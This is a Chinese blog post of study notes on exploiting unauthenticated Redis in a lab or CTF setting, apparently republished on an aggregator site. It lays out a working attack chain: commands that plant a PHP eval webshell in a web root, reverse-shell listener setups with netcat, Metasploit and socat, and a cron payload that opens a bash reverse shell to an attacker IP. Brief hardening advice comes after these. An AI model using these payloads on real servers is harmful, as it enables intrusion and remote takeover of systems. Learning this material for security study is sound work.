【Web】Redis未授权访问漏洞学习笔记

news/2024/5/19 20:53:09 标签: redis, ctf, web, 未授权访问, web安全, 网络安全, shellcode

目录

简介

靶机配置

Redis持久化

Redis动态修改配置

webshell-toc" style="margin-left:0px;">webshell

反弹shell

Redis写入反弹shell任务

加固方案


简介

Redis(Remote Dictionary Server 远程字典服务器)是一个开源的内存数据库,也被称为数据结构服务器,它支持多种数据结构,如字符串、哈希表、列表、集合、有序集合等。Redis旨在提供一个高性能、持久化的 key-value 存储解决方案,并且具有丰富的功能和灵活的部署方式。

以下是 Redis 的一些主要特点和用途:

  1. 内存存储:Redis将数据存储在内存中,因此具有非常高的读写性能。它通常被用作缓存系统,用来加速对数据库或其他后端存储的访问。

  2. 数据结构丰富:Redis支持多种数据结构,包括字符串、哈希表、列表、集合、有序集合等,这使得它可以适用于各种不同的应用场景。

  3. 持久化:除了存储在内存中,Redis还支持多种持久化方式,如RDB快照和AOF日志,以确保数据不会因服务器重启或故障而丢失。

  4. 发布/订阅:Redis支持发布/订阅模式,允许客户端订阅消息通道并接收特定类型的消息。

  5. 事务:Redis支持事务操作,允许执行一系列命令,保证这些命令要么全部执行,要么全部不执行,从而保持数据的一致性。

  6. 分布式:Redis可以被配置成分布式系统,通过复制和分片来提高可用性和扩展性。

  7. 缓存系统:由于其高性能和丰富的功能,Redis经常被用作缓存系统,用来减轻后端数据库的压力。

靶机配置

1、关闭保护模式 protected-mode
2、取消IP绑定 bind
3、开放6379端口,或者关闭防火墙
4、不需要密码(默认) requirepass

Redis持久化

RDB Redis DataBase (默认)
AOF Append Only File
配置:
1、save 3600 1 #自动触发规则
2、dbfilename dump.rdb #文件名
3、dir ./ #存储路径
手动触发保存命令:save / bgsave

Redis动态修改配置

config set:动态修改配置,重启以后失效
config set dir /www/admin/localhost_80/wwwroot
config set dbfilename redis.php

webshell">webshell

redis-cli -h 192.168.142.66 -p 6379
config set dir /www/admin/localhost_80/wwwroot
config set dbfilename redis.php
set x "<?php @eval($_POST[wuya]); ?>"
save

反弹shell

攻击机

netcat  nc -lvp 7777 (-nlvp lvvp)
msf     msfconsole
        use exploit/multi/handler
        set payload php/meterpreter/reverse_tcp
        set lhost 192.168.142.141
        set lport 7777
        run
socat   socat TCP-LISTEN:7777 -

靶机

 

Redis写入反弹shell任务

Linux crontab

crontab -u root -r 删除某个用户的任务
crontab -u root time.cron 把文件添加到某个用户的任务
crontab -u root -l 列举某个用户的任务
crontab -u root -e 编辑某个用户的任务

cron文件存储路径

/var/spool/cron 这个文件负责安排由系统管理员制定的维护系统以及其他任务的crontab
/etc/crontab 放的是对应周期的任务dalily、hourly 、monthly、weekly

payload:

set x "\n* * * * * bash -i >& /dev/tcp/192.168.1.44/7777 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save

加固方案

1、限制访问IP
2、修改默认端口
3、使用密码访问
4、不要用root运行Redis


http://www.niftyadmin.cn/n/5374770.html

相关文章

限制资源使用

限制资源使用 您需要显示对服务器资源的访问来保护Web应用程序和应用程序数据不受未授权用户的访问。在Java EE Web应用程序中,您可以通过在应用服务器中创建用户和用户组来保护资源免受未经授权的访问。您可以为应用程序定义角色并在部署过程中将角色分配给用户。 1. 创建授权…

Days 29 ElfBoard LCD屏双电荷泵电路原理

7寸LCD屏幕的屏幕排线中采用的供电电压是5V供电&#xff0c;但是在屏幕工作时需要VCOM-5.3V、AVDD-12.5V、VGL--7V、VGH-17V几组电压&#xff0c;所以要对初始的5V电源进行DC-DC电压变换&#xff0c;在这里我们用到了双电荷泵电路。 再此电路中VCC_5V为电源输入&#xff0c;E…

宿舍报修|宿舍报修小程序|基于微信小程序的宿舍报修系统的设计与实现(源码+数据库+文档)

宿舍报修小程序目录 目录 基于微信小程序的宿舍报修系统的设计与实现 一、前言 二、系统功能设计 三、系统实现 1、用户小程序功能模块 2、学生信息管理 3、维修人员管理 4、故障上报管理 5、论坛信息管理 四、数据库设计 1、实体ER图 2、具体的表设计如下所示&…

linux安装单机版redis详细步骤,及python连接redis案例

文章目录 linux相关工具yum方式安装redis使用编译安装redis配置redis为systemctl启动其它: 安装redis6.0python连接redis案例 linux相关工具 ./redis-benchmark #用于进行redis性能测试的工具 ./redis-check-dump #用于修复出问题的dump.rdb文件 ./redis-cli …

【教程】autojs使用Intent打开相机拍照并指定存储路径

转载请注明出处&#xff1a;小锋学长生活大爆炸[xfxuezhang.cn] var photoPath "/sdcard/a.jpg"; var photoFile new java.io.File(photoPath); if (!photoFile.exists()) {photoFile.getParentFile().mkdirs();} try {photoFile.createNewFile(); } catch (e) {to…

创建你的第一个Vue项目(小白专享版本)

&#x1f497;&#x1f497;&#x1f497;欢迎来到我的博客&#xff0c;你将找到有关如何使用技术解决问题的文章&#xff0c;也会找到某个技术的学习路线。无论你是何种职业&#xff0c;我都希望我的博客对你有所帮助。最后不要忘记订阅我的博客以获取最新文章&#xff0c;也欢…

Hive SQL编译成MapReduce任务的过程

一、 Hive 底层执行架构 1.1 Hive底层架构 1 &#xff09;用户接口&#xff1a; Client CLI &#xff08; command-line interface &#xff09;、 JDBC/ODBC(jdbc 访问 hive) 、 WEBUI &#xff08;浏览器访问 hive &#xff09; 2 &#xff09;元数据&#xff1a; Metas…

vue3-内置组件-Suspense

Suspense (实验性功能) <Suspense> 是一项实验性功能。它不一定会最终成为稳定功能&#xff0c;并且在稳定之前相关 API 也可能会发生变化。 <Suspense> 是一个内置组件&#xff0c;用来在组件树中协调对异步依赖的处理。它让我们可以在组件树上层等待下层的多个嵌…